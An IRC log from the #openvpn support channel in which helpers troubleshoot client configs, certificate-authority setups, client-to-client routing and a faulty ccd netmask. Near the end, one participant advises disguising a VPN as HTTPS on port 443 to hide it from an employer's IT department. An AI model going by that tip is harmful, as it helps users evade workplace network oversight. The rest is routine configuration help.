05:19 -!- soapee01 [~soapee01@24-155-219-177.dyn.grandenetworks.net] has quit [Ping timeout: 255 seconds]
05:19 -!- dvl [~dan@pdpc/supporter/active/dvl] has quit [Ping timeout: 255 seconds]
05:19 -!- qmr [~qmr@50.116.18.140] has quit [Ping timeout: 260 seconds]
05:19 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Ping timeout: 255 seconds]
05:19 -!- tyteen4a03 [tyteen4a03@69.50.229.69] has quit [Ping timeout: 260 seconds]
05:20 -!- bla [bla@vivane.thera.be] has joined #openvpn
05:20 -!- bla [bla@vivane.thera.be] has quit [Changing host]
05:20 -!- bla [bla@unaffiliated/bla] has joined #openvpn
05:20 -!- Cr4zi3 [killaz@staff.xbins.org] has quit [Quit: changing servers]
05:20 -!- qmr [~qmr@50.116.18.140] has joined #openvpn
05:20 -!- NChief [tomme@unaffiliated/nchief] has joined #openvpn
05:20 -!- uberushaximus [~uberushax@hacked.thegov.us] has quit [Remote host closed the connection]
05:20 -!- Wulf [~Wulf@unaffiliated/wulf] has joined #openvpn
05:20 -!- uberushaximus [~uberushax@hacked.thegov.us] has joined #openvpn
05:20 -!- tyteen4a- [tyteen4a03@69.50.229.69] has joined #openvpn
05:20 -!- MeanderingCode [~Meanderin@71-213-186-243.albq.qwest.net] has quit [Ping timeout: 245 seconds]
05:20 -!- Cr4zi3 [killaz@staff.xbins.org] has joined #openvpn
05:20 -!- lbft [~lbft@199.195.249.177] has joined #openvpn
05:20 -!- corretico_ [~luis@190.211.93.38] has joined #openvpn
05:21 < hatschi> pekster: just fetched a 2.2.2 from the 'usual sources' and: it honours the fragmentation statement below the connection policy, like 2.2.1 did.
05:21 -!- dvl [~dan@nyi.unixathome.org] has joined #openvpn
05:21 -!- JStoker [jstoker@unaffiliated/jstoker] has quit [Excess Flood]
05:21 -!- jave_ [~jave@h-235-102.a149.priv.bahnhof.se] has joined #openvpn
05:21 -!- jave_ [~jave@h-235-102.a149.priv.bahnhof.se] has quit [Excess Flood]
05:21 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
05:21 -!- soapee01 [~soapee01@24-155-219-177.dyn.grandenetworks.net] has joined #openvpn
05:21 -!- jave [~jave@h-235-102.a149.priv.bahnhof.se] has joined #openvpn
05:21 < pekster> Right. If that chance to support it above the profile was made betwen 2.2 and 2.3, that sounds fair
05:22 < pekster> The solution for >=2.3.0 systems is to put the settings all profiles need above the profiles
05:22 < pekster> Unless I missed something
05:26 < hatschi> yes, that's right.
05:26 < hatschi> i just searched track but i didn't find an issue that could match the symptoms we found...
05:26 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has joined #openvpn
05:28 -!- JStoker [jstoker@unaffiliated/jstoker] has joined #openvpn
05:30 -!- JStoker [jstoker@unaffiliated/jstoker] has quit [Excess Flood]
05:30 -!- JStoker [jstoker@unaffiliated/jstoker] has joined #openvpn
05:35 -!- dpecka [~dpecka@193.165.171.107] has left #openvpn []
05:37 -!- dazo_afk is now known as dazo
05:40 < hatschi> https://community.openvpn.net/openvpn/ticket/267
05:40 <@vpnHelper> Title: #267 (Configuration: fragementation statements after connection profiles honored by mistake) – OpenVPN Community (at community.openvpn.net)
05:49 -!- csaba [~csaba@195.199.154.25] has quit [Quit: Távozom]
06:05 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 245 seconds]
06:08 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has joined #openvpn
06:12 -!- go [~puck@unaffiliated/go] has joined #openvpn
06:13 < go> hi everyone
06:13 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has quit [Ping timeout: 264 seconds]
06:13 < go> is there a howto through which i could setup multiple connections to different severs? I have a debian server and i want to connect to server1 and server2 at the same time.
06:14 <@EugeneKay> Just start openvpn multiple times. Most distro's init scripts will start all .conf files in /etc/openvpn/(debian included) in alphabeticalish order
06:14 <@EugeneKay> You'll need to make sure that the confs(IPs mostly) don't conflict with each other
06:16 < go> those won't, but the ports won't be an issue?
06:16 <@EugeneKay> If you're running in client mode you shouldn't have any problem with the local source port
06:16 <@EugeneKay> If you're forcing a particular source port then you will need to make those non-conflicting
06:16 <@EugeneKay> But that's silly :-p
06:17 < go> I am in client mode, so I guess all should be good and the interfaces should be alright too, right?
06:18 <@EugeneKay> Specifying the same tun# device in multiple configs will give you problems in the same fashion; specify 'device tun' and it'll auto-allocate an available #ed device
06:18 -!- nutcase [~nutcase@unaffiliated/nutcase] has quit [Quit: Oh noes the internet broke.]
06:18 < go> okay, thank you very muhc
06:19 < pekster> jzaw: Figured it out. You need --proto udp6
06:21 < pekster> That's ill documented in the manpage, so I'll see if I can't submit a patch to clean up the docs. The code supports it, although it was not exactly straight forward to get to that feature from the resolver error that occurs when you feed it an IPv6 --local address with --proto udp
06:25 < go> EugeneKay: I'm getting "TCP/UDP: Socket bind failed on local address [undef]: Address already in use"
06:25 < go> i have two .conf files
06:26 < go> both conf files have the ports setup in them
06:26 < pekster> If these are client configs, you likely want the 'nobind' option
06:26 < pekster> If they're servers, you should explicitly configure them to listen on a different IP+port tupple
06:27 < go> they are clients
06:28 < go> okay, checking how to add the nobind option to the config files
06:28 < go> if I just remove the "port 1194" part and add "nobind", it should be okay?
06:29 < go> yupp, that was it, thank you very much (:
06:29 < pekster> No, you need the 'port' directive (at least if you didn't include the optional port in your remote statement.) 'nobind' works in addition to that
06:29 < pekster> Ah, well, 1194 is also the default, so in that case it would work anyway
06:30 < go> thank you for your help pekster and EugeneKay
06:30 -!- go [~puck@unaffiliated/go] has left #openvpn []
06:31 <@EugeneKay> Yeah, I think I said that :-p
06:32 < pekster> 1194 is the default, so in effect the "forced" default is --lport 1194 --rport 1194
06:40 -!- marksaitis [~marksaiti@gemsyorkroad.demon.co.uk] has joined #openvpn
07:11 -!- dazo is now known as dazo_afk
07:17 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Read error: Connection reset by peer]
07:18 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
07:20 -!- dazo_afk is now known as dazo
07:35 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
07:35 -!- xbanux [~xbanux@triband-mum-59.182.142.68.mtnl.net.in] has quit [Ping timeout: 257 seconds]
07:51 -!- xbanux [~xbanux@triband-mum-59.182.142.68.mtnl.net.in] has joined #openvpn
08:00 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has quit [Remote host closed the connection]
08:03 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has joined #openvpn
08:10 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
08:13 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
08:16 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
08:18 -!- dvl [~dan@nyi.unixathome.org] has quit [Quit: I shouldn't really be here - dircproxy 1.0.5]
08:21 -!- mattock is now known as mattock_afk
08:29 -!- Diffen [~diffen@80.78.212.242] has quit [Quit: This computer has gone to sleep]
08:30 -!- Diffen [~diffen@80.78.212.242] has joined #openvpn
08:32 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 260 seconds]
08:35 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
08:42 -!- [fred] [fred@konfuzi.us] has quit [Ping timeout: 246 seconds]
08:43 -!- xbanux [~xbanux@triband-mum-59.182.142.68.mtnl.net.in] has quit [Ping timeout: 264 seconds]
08:44 -!- [fred] [fred@konfuzi.us] has joined #openvpn
08:46 -!- Diffen [~diffen@80.78.212.242] has quit [Quit: This computer has gone to sleep]
08:51 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 264 seconds]
08:53 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
08:56 -!- mattock_afk is now known as mattock
08:59 -!- mattock is now known as mattock_afk
09:01 -!- corretico_ [~luis@190.211.93.38] has quit [Ping timeout: 276 seconds]
09:04 -!- mattock_afk is now known as mattock
09:31 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
09:34 -!- marksaitis [~marksaiti@gemsyorkroad.demon.co.uk] has quit [Ping timeout: 245 seconds]
09:36 -!- Juzzy [Xinu@107-194-81-122.lightspeed.nsvltn.sbcglobal.net] has joined #openvpn
09:43 -!- hatschi [~marvin@dslb-188-098-207-219.pools.arcor-ip.net] has quit [Quit: hatschi]
09:57 -!- markovh [markov@unaffiliated/markovh] has joined #openvpn
09:58 < markovh> !welcome
09:58 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
09:58 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
09:58 < markovh> !goal
09:58 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
10:00 -!- xbanux [~xbanux@triband-mum-59.182.142.68.mtnl.net.in] has joined #openvpn
10:02 -!- Juzzy [Xinu@107-194-81-122.lightspeed.nsvltn.sbcglobal.net] has left #openvpn []
10:13 < njbair> 00000.0
10:16 -!- MeanderingCode [~Meanderin@71-213-186-243.albq.qwest.net] has joined #openvpn
10:19 -!- markovh [markov@unaffiliated/markovh] has left #openvpn []
10:21 -!- Netsplit *.net <-> *.split quits: piele_, TypoNe
10:28 -!- raidz_away is now known as raidz
10:43 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
10:44 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has quit [Ping timeout: 264 seconds]
10:51 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Ping timeout: 256 seconds]
10:52 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
10:54 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 272 seconds]
10:55 -!- APTX_ [APTX@unaffiliated/aptx] has joined #openvpn
10:55 -!- APTX [APTX@unaffiliated/aptx] has quit [Ping timeout: 245 seconds]
11:06 -!- Olipro [~Olipro@d.e.r.p.6.a.1.0.d.d.0.7.2.0.1.0.a.2.ip6.arpa] has joined #openvpn
11:06 -!- piele_ [~Unknown@bakzeil.creativeserver.net] has joined #openvpn
11:06 -!- Olipro [~Olipro@d.e.r.p.6.a.1.0.d.d.0.7.2.0.1.0.a.2.ip6.arpa] has quit [Max SendQ exceeded]
11:08 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has joined #openvpn
11:16 -!- kubbing [~kubbing@c-006.certicon.cz] has quit [Ping timeout: 245 seconds]
11:18 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has quit [Ping timeout: 264 seconds]
11:27 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has joined #openvpn
11:42 -!- Netsplit *.net <-> *.split quits: jzaw, pekster, `nand`
11:42 -!- Netsplit over, joins: pekster
11:43 -!- Netsplit over, joins: jzaw
11:49 -!- kubbing [~kubbing@89.177.146.18] has joined #openvpn
11:53 -!- `nand` [~nand@2a01:4f8:d13:5245::2] has joined #openvpn
12:00 -!- Poster [~poster@cpe-184-57-119-105.columbus.res.rr.com] has quit [Remote host closed the connection]
12:01 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
12:01 -!- Poster [~poster@cpe-184-57-119-105.columbus.res.rr.com] has joined #openvpn
12:03 -!- RudyValencia [~self@unaffiliated/rudyvalencia] has joined #openvpn
12:04 < robert_> Hi, RudyValencia and I are trying to get a VPN going where clients can't access other clients' VPN addresses, but servers can access everybody's VPN addresses.
12:04 -!- mndo [~mndo@bl16-93-232.dsl.telepac.pt] has joined #openvpn
12:04 < RudyValencia> and clients should be able to access servers, of course
12:04 < Poster> you need the client-to-client defined in your server configuration
12:05 < pekster> No, you explicitly need *not* to have that defined if you want to do per-client access control like that
12:05 < pekster> !c2c
12:05 <@vpnHelper> "c2c" is "client-to-client" is with this option packets from 1 client to another are routed inside the server process. without it packets leave the server process, hit the kernel (firewall, routing table) and if allowed by firewall and routed back to server process, they go to the client. you use this option when you do not want to use selective firewall rules on what clients can access things
12:05 <@vpnHelper> behind other clients
12:05 < RudyValencia> so we're stumbling on the whole "The server will only accept clients whose certificates were signed by the master CA certificate" thing
12:06 < Poster> oh, sorry I misread
12:06 < RudyValencia> does that mean client certificates must come from the same CA that issues server certificates?
12:06 < pekster> Yes
12:06 < pekster> That's how PKI works
12:07 < robert_> we were thinking about using separate intermediate CAs for clients and servers
12:07 < RudyValencia> Does that requirement extend to the same subordinate CA (e.g., can we have an identities CA and a network CA rooted to the same root CA?)
12:07 < pekster> Sure, you can use a subCA. IIRC you need the chain provided to the remote end so it can fully verify the trust chain
12:08 < pekster> Unless it's a benefit for your admin process, it's generally more trouble than it's worth to run a chained CA setup like that for OpenVPN. However, perhaps you have benefits in your workflow for such a case
12:09 < Poster> only benefit I could see would be allowing a helpdesk/desktop type group to issue client certs without knowing the CA passphrase for server
12:10 < Poster> but inheritly clients would trust client certs and server certs
12:10 <@EugeneKay> It simplifies configuration a bit because you don't need to ensure that a server is signed as a client/server if you know beforehand that the CA signing it is only used for clients/servers.
12:10 < RudyValencia> we may be automating that process when we write our HR systems
12:10 <@EugeneKay> Eg, you don't need to do any checks on the certUsage
12:11 < Poster> I've not had to specify whether a cert is a client or server cert
12:11 < Poster> I use them in both directions
12:11 < pekster> !mitm
12:11 <@vpnHelper> "mitm" is (#1) http://openvpn.net/index.php/documentation/howto.html#mitm to know about stopping Man-in-the-Middle attacks by signing the server cert specially or (#2) use !servercert to generate the server cert manually or use the easy-rsa build-key-server script to build your server certificates or (#3) then use: remote-cert-tls server in the client config
12:11 < RudyValencia> We have a CA already
12:12 < pekster> Right. That info is mostly generic (besides the easy-rsa centric stuff.) If you don't use a separate CA chain for client/server certs and you don't have clients verify ku/eku of certs, authorized clients can possibly post as serveres as a MITM attacker to another client
12:12 < pekster> pose*
12:13 <@EugeneKay> Yup. But if you have access to takeover the server's IP address you prooooobably have the server.key anyway
12:13 <@EugeneKay> Different sort of check, but in real-world security....
12:13 -!- marksaitis [~marksaiti@cpc4-rdng22-2-0-cust932.15-3.cable.virginmedia.com] has joined #openvpn
12:14 < pekster> ARP spoofing, DNS poisioning, asserting yourself as your target's default gateway, plenty of ways to become an attacker on the wire in the flow of data if you have the access
12:14 < RudyValencia> We can use two different config files with openssl to generate certs with different KU/EKU parameters
12:14 < RudyValencia> e.g., openssl-server.conf for server certs, openssl-client.conf for client certs
12:15 <@EugeneKay> I also set the ns-cert-type
12:15 < RudyValencia> yes
12:15 < pekster> Sure, but you don't even need that; easy-rsa 2.x has support for this out of the box (see the .cnf file it provides) and the prototype 3.x "next-gen" code I'm working on does it dynamically with an -extfile option
12:15 < Poster> I thought tls-remote was used to validate the remote side is who they say they are
12:15 -!- marksaitis [~marksaiti@cpc4-rdng22-2-0-cust932.15-3.cable.virginmedia.com] has quit [Remote host closed the connection]
12:15 < Poster> requiring a cert to match the name and being signed by the same CA
12:15 < pekster> No need for multiple config files if you set up your openssl.cnf to support mutliple extension stanzas
12:16 <@EugeneKay> XCA 4 Lyfe
12:16 < pekster> EugeneKay: nsCertType is more or less deprecated. TLS ku/eku is where it's at now. I'd love to see the "Netscape" extensions die a death much quicker than they will
12:16 <@EugeneKay> Meh
12:17 < pekster> Poster: That's one way, but it precludes the use of multiple server certs with unique DNs
12:18 < pekster> Or at least the CN field
12:19 < pekster> Hmm, I guess the manpage says you can use a "prefix" too. Sort of a weird feature
12:19 -!- TypoNe [~itsme@195.197.184.87] has joined #openvpn
12:21 -!- APTX_ [APTX@unaffiliated/aptx] has quit [Ping timeout: 245 seconds]
12:22 -!- APTX [APTX@unaffiliated/aptx] has joined #openvpn
12:24 -!- APTX [APTX@unaffiliated/aptx] has quit [Read error: Connection reset by peer]
12:28 -!- APTX [APTX@unaffiliated/aptx] has joined #openvpn
12:29 -!- marksaitis [~marksaiti@cpc4-rdng22-2-0-cust932.15-3.cable.virginmedia.com] has joined #openvpn
12:32 -!- epochwolf [~root@unaffiliated/epochwolf] has joined #openvpn
12:32 < epochwolf> EugeneKay: yo
12:32 < epochwolf> I'm trying to set up openvpn so I can access my home network from my work. I can have all the computer connect and ping the server but they can't see eachother and when I turn on client-to-client on the server, the clients can't ping anyone, including the server.
12:32 < epochwolf> https://gist.github.com/epochwolf/e77b5e77ad4eee8bfd9e
12:32 <@vpnHelper> Title: client.conf (at gist.github.com)
12:32 <@EugeneKay> !serverlan
12:32 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png
12:33 < epochwolf> EugeneKay: so I need push route, not route
12:33 <@EugeneKay> Yes. The server routing lan traffic via openvpn would be daft ;-)
12:34 < epochwolf> EugeneKay: the description for client-to-client implies that :P
12:34 <@EugeneKay> client-to-client is for vpn clients
12:34 < epochwolf> that's what I want.
12:34 < epochwolf> I want clients on the vpn to be able to talk to other clients on the vpn.
12:35 <@EugeneKay> Uh
12:35 <@EugeneKay> Is your home LAN behind a VPN client?
12:35 < epochwolf> EugeneKay: no… two computers on my home lan, one is at work. I want them all to talk to eachother.
12:35 <@EugeneKay> So which machine is your VPN server
12:35 < epochwolf> linode vps
12:36 <@EugeneKay> So, then the answer is "yes", the LAN is behind a vpn client
12:36 < epochwolf> all clients can ssh into it through the vpn right now.
12:36 <@EugeneKay> You want Client A to be able to speak to a LAN behind client B
12:36 < epochwolf> not the lan, just the client
12:36 < epochwolf> I want 10.133.7.4 to ping 10.133.7.5
12:36 <@EugeneKay> Well then no routing beyond the basics needed for openvpn should nbe needed
12:37 <@EugeneKay> Just allow the relevant stuff in the firewalls
12:37 < epochwolf> iptables is clear and ip_forward is on
12:37 <@EugeneKay> clear != open ;-)
12:37 < epochwolf> hmm… I'll add my iptables conf
12:37 < pekster> And remember if you test is a ping, that all *3* involved systems need to accept it
12:37 <@EugeneKay> Look at the nat table
12:37 < epochwolf> nat table?
12:38 <@EugeneKay> iptables -t nat
12:38 <@EugeneKay> You're not doing any, but it might have some silly rule in it
12:38 < pekster> 'iptables-save' is the surest way to view your complete netfilter ruleset, including all tables you have loaded
12:38 < epochwolf> a dozen entries of MASQUERADE  all  --  10.133.7.0/24        anywhere
12:38 <@EugeneKay> !paste
12:38 <@vpnHelper> "paste" is "pastebin" is (#1) please paste anything with more than 5 lines into pastebin or a similar website or (#2) https://gist.github.com is a recommended place to use
12:39 < epochwolf> pekster: I've got a save
12:39 <@EugeneKay> If both clients can ping the server's VPN address then you're most of the way there
12:39 <@EugeneKay> Also see if the server can pign the client's VPN addy
12:39 <@EugeneKay> It /could/ be the client firewalls too
12:40 < epochwolf> https://gist.github.com/epochwolf/e77b5e77ad4eee8bfd9e#file-iptables-conf
12:40 <@vpnHelper> Title: client.conf (at gist.github.com)
12:40 < epochwolf> EugeneKay: they are off right now. :) I can ping locally
12:40 <@EugeneKay> Again; clear != open, and locally != remotely
12:40 < epochwolf> EugeneKay: both systems are OS X and have their firewall off in the preferences.
12:41 <@EugeneKay> But can the server ping them?
12:41 < epochwolf> let me check
12:41 < epochwolf> yes
12:41 <@EugeneKay> Goodie
12:42 < robert_> so just to be clear, can we have two separate CA's for client and services access?
12:42 < vect0rx> bbl
12:42 -!- vect0rx [vectorx@havok.org] has left #openvpn []
12:42 < epochwolf> I just loaded the firewall rules, I can ping between client and the server but not between clients
12:42 <@EugeneKay> robert_ - yes; the certificate in --cert does NOT need to be signed by the one listed in --ca.
12:42 < pekster> robert_: Yes. You can even make them completely separate root CAs if you'd like instead of subCAs under a common root since validation is handled remotely by the peer validating the presented cert
12:43 <@EugeneKay> epochwolf - what happens with client-to-client on?
12:43 < epochwolf> EugeneKay: no one can ping
12:43 <@EugeneKay> Fun
12:43 <@EugeneKay> Oh, add in 'topology subnet'
12:43 < epochwolf> EugeneKay: adding that push route also killed pings
12:44 <@EugeneKay> It'll make things a LOT simpler
12:44 <@EugeneKay> I hate that it isn't the default
12:45 < pekster> Oh, that reminds me to look at why --route-gateway isn't the default when using --server with --topology subnet
12:45 < epochwolf> EugeneKay: to server or client?
12:45 <@EugeneKay> Server
12:45 < epochwolf> EugeneKay: okay, I've reverted the configs back to the gist version. I will add "topology subnet".
12:46 <@EugeneKay> Client gets it automagically as part of --client / --pull
12:46 < epochwolf> do I need client-to-client or a route?
12:46 <@EugeneKay> No route should be needed
12:46 <@EugeneKay> The --server line handles all of the route statements
12:46 < epochwolf> do I need client-to-client?
12:47 <@EugeneKay> You shouldn't with that iptables config, but feel free to toss it in
12:47 < epochwolf> EugeneKay: that didn't work. :(
12:48 <@EugeneKay> Logs?
12:48 < robert_> pekster/EugeneKay and this is on the same openvpn setup?
12:48 < epochwolf> EugeneKay: what logs?
12:48 <@EugeneKay> !logs
12:48 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server with verb set to 5 or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it nd select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
12:48 <@EugeneKay> Those logs ^
12:49 < pekster> robert_: If by "same setup" you mean 2 peers establishing an openvpn tunnel, yes.
12:49 <@EugeneKay> robert_ - each peer only verifies the other party's --cert against the local --ca. They do NOT verify their own --cert against the same --ca.
12:49 < epochwolf> EugeneKay: https://gist.github.com/epochwolf/97cc25d8df6b4526ce0d
12:49 <@vpnHelper> Title: client.log (at gist.github.com)
12:49 <@EugeneKay> 2013-03-19 10:48:15 ERROR: OS X route add command failed: external program exited with error status: 68
12:49 <@EugeneKay> That's telling
12:49 < robert_> pekster: "same setup" meaning same instance of openvpn
12:50 <@EugeneKay> Something isn't write in your server.conf
12:50 <@EugeneKay> Paste a freshie?
12:50 < pekster> netmask isn't a netmask; it's an IP
12:50 < epochwolf> EugeneKay: give me a few minutes. I've got to shuffle the file around again. I can't directly download from here.
12:52 < pekster> robert_: Same "instance"? huh? PKI/X509 is used to validate opposing ends (each unique instances themselves.) Each side has only a single --ca certificate (used to validate a remote peer's presented cert) and a --cert certificate (presented to the other peer for said validation on the remote end)
12:52 < robert_> nevermind
12:53 < epochwolf> EugeneKay: https://gist.github.com/epochwolf/015b19e2da5a71119293
12:53 <@vpnHelper> Title: clients_teapot (at gist.github.com)
12:54 <@EugeneKay> Yah, there's your problem
12:54 <@EugeneKay> Set a netmask
12:54 <@EugeneKay> In your ccd file
12:55 -!- xbanux [~xbanux@triband-mum-59.182.142.68.mtnl.net.in] has quit [Read error: Connection reset by peer]
12:55 -!- xbanux [~xbanux@triband-mum-59.182.131.184.mtnl.net.in] has joined #openvpn
12:57 < epochwolf> netmask?
12:57 <@EugeneKay> Set the last arg to 255.255.255.0
12:57 < epochwolf> oh, I'm a fucking idiot :D
12:58 <@EugeneKay> I'm not debating that
13:02 <@EugeneKay> Works now?
13:03 < epochwolf> EugeneKay: I disabled ccds and client-to-client works.
13:04 < epochwolf> Now I need to turn them back on and figure out why it's not working
13:04 <@EugeneKay> Because you derped the ccd :-p
13:04 < epochwolf> no shit :D
13:04 -!- ceda [~fredrik@c83-248-146-227.bredband.comhem.se] has quit [Read error: Operation timed out]
13:04 < epochwolf> This breaks it "ifconfig-push 10.133.7.6 10.133.7.0 255.255.255.0 "
13:05 <@EugeneKay> Remove the middle arg
13:05 < epochwolf> oh
13:06 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
13:08 < epochwolf> EugeneKay: thank you so much, it's working
13:08 -!- novaflash is now known as novaflash_away
13:09 -!- novaflash_away is now known as novaflash
13:09 <@EugeneKay> Enjoy
13:09 < epochwolf> I will
13:09 < epochwolf> next question, how do I hide a vpn connection so my it department doesn't know that I'm using a vpn to access my work machine? :P
13:09 <@EugeneKay> !statickey
13:09 <@vpnHelper> "statickey" is (#1) you can use static keys by using --secret </path/to/key> or (#2) static keys only work for ptp links, not client/server. They also do not provide forward encryption. A forward-secure encryption scheme (such as openvpn uses with certs) protects secret keys from exposure by evolving the keys with time. or (#3) see !forwardsecurity for more info
13:10 <@EugeneKay> tl;dr you can't.
13:10 < epochwolf> EugeneKay: lol, nice response
13:10 <@EugeneKay> They'll know you're running /something/, just not necessarily what.
13:10 <@EugeneKay> A proper static-key setup looks like essentially random data, but it's still data
13:10 < epochwolf> haha, I know. I was kidding. If I wanted to do that I would have a cronjob that checks a remote url for a specific phrase and only start the vpn if that phrase exists.
13:10 <@EugeneKay> If you want to hide your traffic buy a cell hotspot
13:11 < epochwolf> Actually, that's not a bad idea. I could easily hide an ipad in the case.
13:12 < epochwolf> Not going to do that. :)
13:12 < epochwolf> I've thought about how to do it but getting arrested for hacking isn't high on my list of life goals.
13:13 < kisom> How's that hacking?
13:15 -!- MeanderingCode [~Meanderin@71-213-186-243.albq.qwest.net] has quit [Ping timeout: 276 seconds]
13:16 -!- xbanux [~xbanux@triband-mum-59.182.131.184.mtnl.net.in] has quit [Ping timeout: 255 seconds]
13:16 -!- ade_b [~Ade@AMarseille-156-1-204-244.w92-150.abo.wanadoo.fr] has joined #openvpn
13:16 -!- ade_b [~Ade@AMarseille-156-1-204-244.w92-150.abo.wanadoo.fr] has quit [Changing host]
13:16 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
13:28 -!- mndo [~mndo@bl16-93-232.dsl.telepac.pt] has quit [Remote host closed the connection]
13:42 -!- master_of_master [~master_of@p4FF24360.dip.t-dialin.net] has joined #openvpn
13:44 -!- master_o1_master [~master_of@p4FF24F5D.dip.t-dialin.net] has quit [Ping timeout: 252 seconds]
13:50 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 248 seconds]
13:52 < Poster> your best bet is probably to run the openvpn daemon on 443/tcp
13:52 < Poster> of everything possibly legit, https traffic is your best bet
13:53 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
13:54 < rob0> Personally, I would not work very hard to subvert the will of corporate IT. If they don't want me doing something, I wouldn't do it, even if in my opinion it was for the benefit of the company.
14:05 -!- xbanux [~xbanux@triband-mum-59.182.131.184.mtnl.net.in] has joined #openvpn
14:10 -!- dvl [~dan@nyi.unixathome.org] has joined #openvpn
14:10 -!- dvl [~dan@nyi.unixathome.org] has quit [Changing host]
14:10 -!- dvl [~dan@pdpc/supporter/active/dvl] has joined #openvpn
14:19 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 256 seconds]
14:23 -!- kubbing [~kubbing@89.177.146.18] has quit [Remote host closed the connection]
14:30 -!- dazo is now known as dazo_afk
14:30 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Read error: Connection reset by peer]
14:31 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
14:49 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 245 seconds]
14:50 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
14:51 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has quit [Ping timeout: 276 seconds]
15:00 -!- marksaitis [~marksaiti@cpc4-rdng22-2-0-cust932.15-3.cable.virginmedia.com] has quit [Read error: Connection reset by peer]
15:03 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has joined #openvpn
15:06 -!- kantlivelong [~kantlivel@home.kantlivelong.com] has quit [Ping timeout: 245 seconds]
15:06 -!- ceda [~fredrik@c83-248-146-227.bredband.comhem.se] has joined #openvpn
15:31 -!- GH0 [~asdfgjkl@cpe-173-095-129-006.nc.res.rr.com] has joined #openvpn
15:37 < jzaw> can one put an up /etc/openvpn/somescript.sh in client.conf?
15:38 < jzaw> doesnt seem to be exectuting in 2.3 on openwrt
15:39 < jzaw> script-security 2
15:39 < jzaw> up "/etc/openvpn/client-up.sh"
15:39 < pekster> You checked warnings about --script-security in your logs? And sometimes init systems will add their own --up and --down scripts, so perhasp try it from the command-line to verify it's working as expected
15:39 < jzaw> and client-up.sh is 744
15:40 < jzaw> it works if i execute manually from cli
15:40 < pekster> openvpn?
15:40 < jzaw> openvpn on openwrt
15:40 < pekster> as in, "openvpn --config /etc/openvpn/my.conf" ?
15:40 < jzaw> ah no ... i ran it after i ran openvpn
15:41 < pekster> I suggesting you run openvpn directly from a console to rule out the distro's init inserting its own upscript in place of yours. I don't recall offhand how openwrt does the openvpn init becuase I wrote my own
15:43 -!- nutron [~nutron@unaffiliated/nutron] has quit [Quit: I must go eat my cheese!]
15:44 < jzaw> trying now pekster
15:44 < jzaw> that works ... running manually as you said
15:44 < jzaw> interesting that i dont seem to get any ipv6 traffic ... say mtr
15:45 < jzaw> till ive done a mtr in ipv4 first
15:45 < jzaw> pekster, would it be appropriate for you to share your init script?
15:46 -!- TheWarden [~chatzilla@S0106e0469a3d83ef.ss.shawcable.net] has joined #openvpn
